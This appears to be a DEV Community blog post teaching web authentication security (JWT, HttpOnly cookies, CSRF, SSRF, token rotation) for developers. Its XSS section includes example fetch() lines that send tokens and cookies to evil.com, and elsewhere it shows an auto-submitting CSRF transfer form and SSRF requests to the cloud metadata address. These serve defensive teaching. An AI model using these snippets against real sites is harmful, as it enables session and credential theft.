DEV Community

Cover image for Modern Web Authentication Security: JWT, Cookies, CSRF, and Common Developer Mistakes
Elvin Seyidov
Elvin Seyidov

Posted on

Modern Web Authentication Security: JWT, Cookies, CSRF, and Common Developer Mistakes

A practical guide to understanding authentication security - what breaks, why it breaks, and how attackers exploit it.


Why Authentication Is the Most Common Security Failure

Authentication is where trust begins. If it fails, nothing else matters - not your encryption, not your firewall, not your fancy security tools.

Non-Tech Explanation

Your front door can have the best lock in the world, but if someone can copy your key or trick you into opening it, the lock doesn't matter.

Technical Explanation

Authentication failures consistently rank in the OWASP Top 10. Common issues include:

  • Weak password storage (MD5, SHA1 without salt)
  • Session fixation and hijacking
  • Improper token validation
  • Missing brute-force protection

πŸ” Cybersecurity Perspective

Attackers don't break encryption - they bypass authentication. Credential stuffing, session hijacking, and token theft are cheaper and more effective than cryptographic attacks.


Why "login works" β‰  "login is secure"

What Developers Test What Attackers Test
Valid credentials work What happens with 10,000 wrong passwords?
User sees dashboard Can I reuse a stolen token forever?
Logout button exists Does logout actually invalidate the session?

Just because your login form returns a 200 OK doesn't mean it's secure.


Real-world consequences of auth bugs

  • 2012 - LinkedIn: 6.5M password hashes leaked (unsalted SHA1)
  • 2019 - Facebook: 540M user records exposed via session tokens
  • 2021 - Twitch: Complete source code and auth systems leaked

These weren't exotic zero-days. They were authentication failures.


Sessions, Cookies, Tokens - What Are We Actually Using?

Before diving into attacks, let's clarify what we're protecting.

Non-Tech Explanation

When you log into a website, it gives you a "pass" to prove you're allowed in. That pass can be stored in different ways - some safer than others.

Sessions vs Stateless Auth

Aspect Sessions Stateless Tokens (JWT)
Where state lives Server (database/memory) Client (token itself)
Scalability Harder (shared state) Easier (no server state)
Revocation Easy (delete session) Hard (token valid until expiry)
Server load Higher Lower

Sessions: Server remembers you.

Tokens: You carry proof of who you are.


Cookies vs Headers (Mental Model)

Storage Sent Automatically? JS Access? CSRF Risk? XSS Risk?
Cookie βœ… Yes Depends on HttpOnly βœ… Yes Lower with HttpOnly
Header (Bearer) ❌ No (JS must add it) βœ… Yes (must store somewhere) ❌ No Higher

Key insight: Cookies are sent automatically by the browser. Headers require JavaScript to attach them. This single difference changes your entire threat model.


How XSS Steals Authentication

Cross-Site Scripting (XSS) is when an attacker injects malicious JavaScript into your page.

Non-Tech Explanation

Imagine someone sneaking a spy into your house who reads all your mail and sends copies to a stranger.

What XSS Can Access

If an attacker can run JavaScript on your page, they can:

// Steal from localStorage
fetch('https://evil.com/steal?token=' + localStorage.getItem('access_token'));

// Steal from sessionStorage
fetch('https://evil.com/steal?token=' + sessionStorage.getItem('token'));

// Read non-HttpOnly cookies
fetch('https://evil.com/steal?cookie=' + document.cookie);
Enter fullscreen mode Exit fullscreen mode

Why Tokens in JavaScript Storage Are Dangerous

Storage Location XSS Can Steal It?
localStorage βœ… Yes
sessionStorage βœ… Yes
JavaScript variable βœ… Yes
HttpOnly Cookie ❌ No

Cybersecurity perspective: Any token accessible to JavaScript is accessible to XSS. If your app has even one XSS vulnerability, all tokens in JS storage are compromised.


Why HttpOnly Cookies Matter

Non-Tech Explanation

It's like putting your valuables in a safe that only the bank can open - not even you can touch them directly.

What HttpOnly Actually Protects

Set-Cookie: refresh_token=abc123; HttpOnly; Secure; SameSite=Lax
Enter fullscreen mode Exit fullscreen mode

With HttpOnly:

  • βœ… Browser sends cookie automatically
  • ❌ JavaScript cannot read it
  • ❌ XSS cannot steal it

What It Does NOT Protect

HttpOnly cookies are still:

  • Sent with every request (CSRF risk)
  • Visible in browser dev tools
  • Stored on disk (local access risk)
  • Sent to attackers if they can make your browser send requests (CSRF)

Bottom line: HttpOnly protects against XSS token theft but introduces CSRF risk. You're trading one threat for another.


Access Tokens vs Refresh Tokens

Two tokens, two purposes, two threat models.

Non-Tech Explanation

  • Access token: A day pass to the building
  • Refresh token: A card that lets you get new day passes

If someone steals your day pass, they have access for a day. If they steal your renewal card, they have access until you cancel it.

Different Threat Models

Token Lifetime Storage Theft Impact
Access Short (10-15 min) Memory/Header Limited window
Refresh Long (days/weeks) HttpOnly Cookie Long-term access

Why Mixing Them Is Dangerous

❌ Don't do this:

  • Storing refresh tokens in localStorage
  • Making access tokens last for days
  • Using one token for everything

βœ… Do this:

  • Short-lived access tokens (minutes)
  • HttpOnly cookie for refresh tokens
  • Rotation on every refresh

Why JWT Authentication Fails in Real Systems

JWTs are not inherently insecure - but how developers use them often is.

πŸ”§ Common JWT Failures

1. Long-Lived Tokens

// ❌ Token valid for 30 days
{ "exp": 1735689600, "user_id": 123 }
Enter fullscreen mode Exit fullscreen mode

If stolen, attacker has 30 days of access.

2. No Rotation

Using the same refresh token until expiry. If stolen, no way to detect reuse.

3. No Revocation

JWTs are stateless. Without a blacklist or database check, you cannot invalidate a token before expiry.

4. No Audit Trail

No logging of token issuance, refresh, or suspicious activity. You won't know you've been breached.

πŸ” Cybersecurity Perspective

JWTs shift security responsibility from server to implementation. Most implementations get it wrong by treating tokens as "set and forget."


Token Rotation & Reuse Detection (The Missing Layer)

This is what separates secure implementations from tutorials.

Non-Tech Explanation

Every time you use your renewal card, you get a new one and the old one is destroyed. If someone tries to use your old card, alarms go off.

What Rotation Really Means

Login β†’ Refresh Token A
Use A  β†’ Token A revoked, get Token B
Use B  β†’ Token B revoked, get Token C
Enter fullscreen mode Exit fullscreen mode

Each refresh token is single-use. Old tokens become invalid immediately.

How Token Theft Becomes Detectable

Scenario: Attacker steals Token A

Legitimate user: Uses Token A β†’ Gets Token B (A revoked)
Attacker:        Tries Token A β†’ Already revoked!
                 β†’ Revoke ALL tokens for this user
                 β†’ Log TOKEN_REUSE_DETECTED event
                 β†’ Force re-authentication
Enter fullscreen mode Exit fullscreen mode

Without rotation: Attacker uses stolen token silently for days.

With rotation: Theft triggers detection within one refresh cycle.


Cookies vs Headers: XSS vs CSRF

You must choose your vulnerability - there is no perfect solution.

Non-Tech Explanation

You can lock the front door or the back door - but you only have one lock.

Threat Comparison Table

Aspect localStorage + Header HttpOnly Cookie
XSS can steal token βœ… Yes ❌ No
CSRF can use token ❌ No βœ… Yes (needs mitigation)
Requires JS to send βœ… Yes ❌ No (automatic)
Mobile/API friendly βœ… Yes ⚠️ Complicated

Choosing the Lesser Evil

For web apps with good XSS hygiene: Headers might be acceptable.

For apps where XSS is possible: HttpOnly cookies are safer (but add CSRF protection).

Most secure approach:

  • Access token β†’ Memory only (not localStorage)
  • Refresh token β†’ HttpOnly cookie with CSRF protection

CSRF Explained Simply (And Why It Still Matters)

Non-Tech Explanation

Imagine someone sends you a letter that says "Sign this" and you sign it without reading. You just authorized something you didn't intend to.

How CSRF Actually Works

  1. User logs into bank.com (cookie stored)
  2. User visits evil.com
  3. Evil site has hidden form:
<form action="https://bank.com/transfer" method="POST">
  <input name="to" value="attacker">
  <input name="amount" value="10000">
</form>
<script>document.forms[0].submit();</script>
Enter fullscreen mode Exit fullscreen mode
  1. Browser sends request to bank.com with user's cookies
  2. Bank sees valid session β†’ Transfers money

Why Cookies Change the Threat Model

  • Headers: Attacker's site cannot add your Authorization header
  • Cookies: Browser automatically includes them for that domain

This is why cookie-based auth requires CSRF tokens.


CSRF vs SSRF - Why Developers Confuse Them

Same acronym pattern, completely different attacks.

Non-Tech Explanation

  • CSRF: Tricking your browser into making a request
  • SSRF: Tricking a server into making a request

Why the Names Are Misleading

Aspect CSRF SSRF
Full name Cross-Site Request Forgery Server-Side Request Forgery
Who is tricked? User's browser Server/backend
Who makes the request? Client Server
Target Authenticated user actions Internal resources

Client-Side Trust vs Server-Side Trust

CSRF exploits: "The server trusts requests from authenticated browsers"

SSRF exploits: "The server trusts URLs provided by users"

Why SSRF Is NOT Solved by CSRF Tokens

CSRF tokens protect user-initiated actions. SSRF happens when your server fetches arbitrary URLs:

# Vulnerable to SSRF
def fetch_image(url):
    response = requests.get(url)  # What if url = "http://169.254.169.254/metadata"?
    return response.content
Enter fullscreen mode Exit fullscreen mode

SSRF in Authentication & OAuth Flows

Authentication services are high-value SSRF targets.

πŸ” Cybersecurity Perspective

Auth systems often need to:

  • Fetch user info from identity providers
  • Validate tokens against external services
  • Exchange authorization codes

Each of these is a potential SSRF vector.

Token Exchange Endpoints

# OAuth token exchange - vulnerable if 'token_endpoint' is user-controlled
def exchange_code(code, token_endpoint):
    response = requests.post(token_endpoint, data={'code': code})
Enter fullscreen mode Exit fullscreen mode

If attacker controls token_endpoint, they can point it to internal services.

OAuth Callbacks

Legitimate: https://app.com/callback?code=abc123
Attack:     https://app.com/callback?code=abc123&redirect_uri=http://internal-admin/
Enter fullscreen mode Exit fullscreen mode

Metadata Service Abuse (Cloud Environments)

Cloud providers expose metadata at predictable URLs:

  • AWS: http://169.254.169.254/latest/meta-data/
  • GCP: http://metadata.google.internal/
  • Azure: http://169.254.169.254/metadata/

If your auth service has SSRF, attackers can steal cloud credentials.

Why Auth Services Are High-Value SSRF Targets

  • Often have elevated permissions
  • Connect to multiple external services
  • Handle sensitive tokens and secrets
  • May have access to internal APIs

SameSite Cookies: Lax vs Strict vs None

Browser-level CSRF protection.

Non-Tech Explanation

You can tell the browser: "Only send my cookie if the request comes from my own website."

Comparison

SameSite Cross-Site GET Cross-Site POST Use Case
Strict ❌ Blocked ❌ Blocked Maximum security (may break OAuth)
Lax βœ… Allowed ❌ Blocked Good balance
None βœ… Allowed βœ… Allowed Third-party embeds (requires Secure)

Why Lax Is Often the Real-World Choice

Strict breaks:

  • OAuth redirects (user clicks link from email β†’ no cookie β†’ logged out)
  • External links to your app
  • Payment callbacks

Lax protects against:

  • CSRF POST attacks
  • Most dangerous cross-site actions

OAuth and Redirect Implications

OAuth flow:

1. User on app.com β†’ redirected to google.com
2. User authenticates
3. Google redirects back to app.com/callback
Enter fullscreen mode Exit fullscreen mode

With SameSite=Strict: Step 3 won't include cookies (redirect = cross-site navigation).

With SameSite=Lax: Works correctly (top-level navigation allowed).


Why Logout Must Always Succeed

Subtle security issue often overlooked.

Non-Tech Explanation

If you ask "Is this key valid?" and the answer is "No such key exists," you just learned something you shouldn't.

Token Existence Leaks

❌ Bad implementation:

def logout(token):
    if not token_exists(token):
        return {"error": "Token not found"}, 404
    revoke(token)
    return {"success": True}
Enter fullscreen mode Exit fullscreen mode

Attacker can enumerate valid tokens by checking responses.

βœ… Correct implementation:

def logout(token):
    revoke_if_exists(token)  # Silent if not found
    return {"success": True}, 200  # Always succeed
Enter fullscreen mode Exit fullscreen mode

Security Over UX Correctness

Sometimes "correct" behavior is insecure:

  • Telling users "email not registered" helps attackers enumerate accounts
  • Returning different errors for "wrong password" vs "user not found" leaks info
  • Logout failing on invalid token confirms token validity

Design for silence: Don't reveal internal state through responses.


OAuth Is Not a Login System

Common misconception causes real vulnerabilities.

Non-Tech Explanation

OAuth is like a valet key - it gives limited access to your car, but it doesn't prove you own the car.

What OAuth Solves

OAuth answers: "Does this user allow App X to access their data on Service Y?"

OAuth does NOT answer: "Who is this user?"

Common Misconceptions

What Developers Think Reality
OAuth = Login OAuth = Authorization (not authentication)
Access token = User ID Access token = Permission grant
"Login with Google" = OAuth That's OpenID Connect (OAuth + identity layer)

The Security Problem

Using OAuth access tokens as identity proof:

# ❌ Dangerous
def get_user(access_token):
    # Token only proves authorization, not identity
    user_data = google.get_user_info(access_token)
    return login_as(user_data['email'])
Enter fullscreen mode Exit fullscreen mode

Token might be:

  • Issued to a different app
  • Stolen from another context
  • Issued for different permissions

Use OpenID Connect (OIDC) for authentication. It adds id_token which proves identity.


How Attackers Abuse Broken Refresh Flows

Refresh tokens are long-term credentials. Broken flows = persistent access.

Token Replay

Scenario: No rotation, tokens work until expiry

Day 1: Attacker steals refresh token
Day 30: Token still works
Day 60: Token still works
Day 90: Finally expires
Enter fullscreen mode Exit fullscreen mode

Three months of silent access.

Silent Session Hijacking

With broken implementation:

  1. Attacker steals token
  2. Attacker uses it periodically
  3. Legitimate user never notices (their session still works)
  4. No detection, no logs, no alerts

With proper rotation:

  1. Attacker steals token
  2. Legitimate user refreshes β†’ old token revoked
  3. Attacker tries stolen token β†’ DETECTED
  4. All tokens revoked, security alert generated

Long-Term Account Takeover

Without revocation:

  • Change password? Attacker still has valid token
  • Security concern? No way to kill existing sessions
  • Data breach? All issued tokens still work

Brute Force, Rate Limiting & Audit Logs

Authentication security isn't just cryptography.

Non-Tech Explanation

Even the strongest lock can be picked if you give a thief unlimited attempts and no one watches them try.

Why Detection Matters

Protection Layer What It Prevents
Strong passwords Easy guessing
Proper hashing (Argon2) Offline cracking
Rate limiting Automated attacks
Account lockout Sustained brute force
Audit logging Silent compromise

Implementing Defense in Depth

def authenticate(email, password, ip):
    # 1. Rate limiting
    if is_rate_limited(ip):
        return error("Too many attempts")

    # 2. Account lockout
    if is_locked(email):
        return error("Account locked")

    # 3. Actual authentication
    user = verify_credentials(email, password)

    # 4. Audit logging (always)
    log_auth_event(
        type="SUCCESS" if user else "FAILED",
        email=email,
        ip=ip
    )

    # 5. Track failures
    if not user:
        record_failed_attempt(email, ip)
Enter fullscreen mode Exit fullscreen mode

Audit Logs Enable Incident Response

Without logs:

"We think there was unauthorized access sometime last month."

With logs:

"At 3:47 AM on March 15, IP 192.168.1.100 successfully authenticated as admin@example.com after 47 failed attempts from IP 45.33.32.156."


Admin Authentication Is a Different Problem

Admin access requires different security controls.

Non-Tech Explanation

The security guard at the front desk doesn't need the same clearance as someone entering the vault.

Why Admin β‰  User Auth

Aspect User Auth Admin Auth
Attack surface Public internet Should be restricted
Threat actors General attackers Targeted attacks
Risk level Account compromise System compromise
Protection Application-level Infrastructure-level

Network-Layer Protection in Real Systems

Production admin access should be protected by:

  • IP allowlists: Only office/VPN IPs can access admin
  • VPN requirement: Admin panel not on public internet
  • Zero Trust: Every request verified, no implicit trust
  • Bastion hosts: Admin access only through hardened jump servers
  • Network segmentation: Admin services on separate network

Why This Matters

Your user auth can be perfect, but if admin is accessible from the internet with just a password, one phished credential = game over.


Common Authentication Mistakes Developers Make

The hits list of auth failures.

1. localStorage Tokens

// ❌ XSS can steal this
localStorage.setItem('token', response.access_token);
Enter fullscreen mode Exit fullscreen mode

Why it's bad: Any XSS vulnerability = complete token theft.

2. No Rotation

# ❌ Same token forever
refresh_token = generate_token()
save_to_db(refresh_token, expires=datetime.now() + timedelta(days=30))
Enter fullscreen mode Exit fullscreen mode

Why it's bad: Stolen tokens work until expiry.

3. Leaky Error Messages

# ❌ Reveals user existence
if not user_exists(email):
    return {"error": "User not found"}
if not password_matches:
    return {"error": "Wrong password"}
Enter fullscreen mode Exit fullscreen mode

Why it's bad: Attackers can enumerate valid emails.

4. Over-Trusting JWT

# ❌ No verification of token revocation
def get_user(token):
    payload = jwt.decode(token)  # Only checks signature and expiry
    return User.objects.get(id=payload['user_id'])
Enter fullscreen mode Exit fullscreen mode

Why it's bad: Revoked/rotated tokens still work.

5. Missing Refresh Token Persistence

# ❌ Stateless refresh tokens
refresh_token = jwt.encode({'user_id': user.id, 'exp': ...})
# No database record = no rotation = no revocation
Enter fullscreen mode Exit fullscreen mode

Why it's bad: Cannot detect reuse or force logout.


What This Project Demonstrates in Practice

Secure Authentication Platform Overview

This blog is based on building a real, security-focused Django authentication system that implements:

Feature Why It Matters
Custom User model Email as primary identifier
Argon2 password hashing Memory-hard, GPU-resistant
Brute-force protection Rate limiting per IP and email
Audit logging All auth events recorded
JWT with short-lived access tokens 10-minute window limits damage
Database-backed refresh tokens Enables rotation and revocation
Token rotation Single-use refresh tokens
Reuse detection Theft triggers full session revocation
HttpOnly cookie storage XSS cannot steal refresh tokens
CSRF protection Prevents cross-site refresh abuse
Generic error messages No user enumeration

Why It Exists

Most tutorials teach you to:

  1. Hash password with bcrypt βœ“
  2. Generate JWT βœ“
  3. Return it to client βœ“

Then stop.

Real-world security requires:

  • Token rotation
  • Reuse detection
  • Audit trails
  • Revocation mechanisms
  • Cookie security
  • CSRF protection

This project demonstrates the complete picture.


Final Thoughts: Design for Failure, Not Perfection

Security is not about preventing all attacks. It's about:

  1. Limiting blast radius: Short token lifetimes, minimal permissions
  2. Detecting compromise: Audit logs, reuse detection
  3. Enabling response: Revocation, forced re-auth
  4. Layered defense: If one control fails, others catch it

Key Takeaways

  • Authentication is where trust starts - get it wrong and nothing else matters
  • XSS vs CSRF is a tradeoff - understand it before choosing storage
  • Tokens expire, but theft is immediate - rotation makes theft detectable
  • Logging is not optional - you can't investigate what you didn't record
  • Admin access is a different problem - protect it at the network layer

The Security Mindset

Don't ask: "How do I make this secure?"

Ask: "When this is breached, how will I know and what will I do?"


Top comments (0)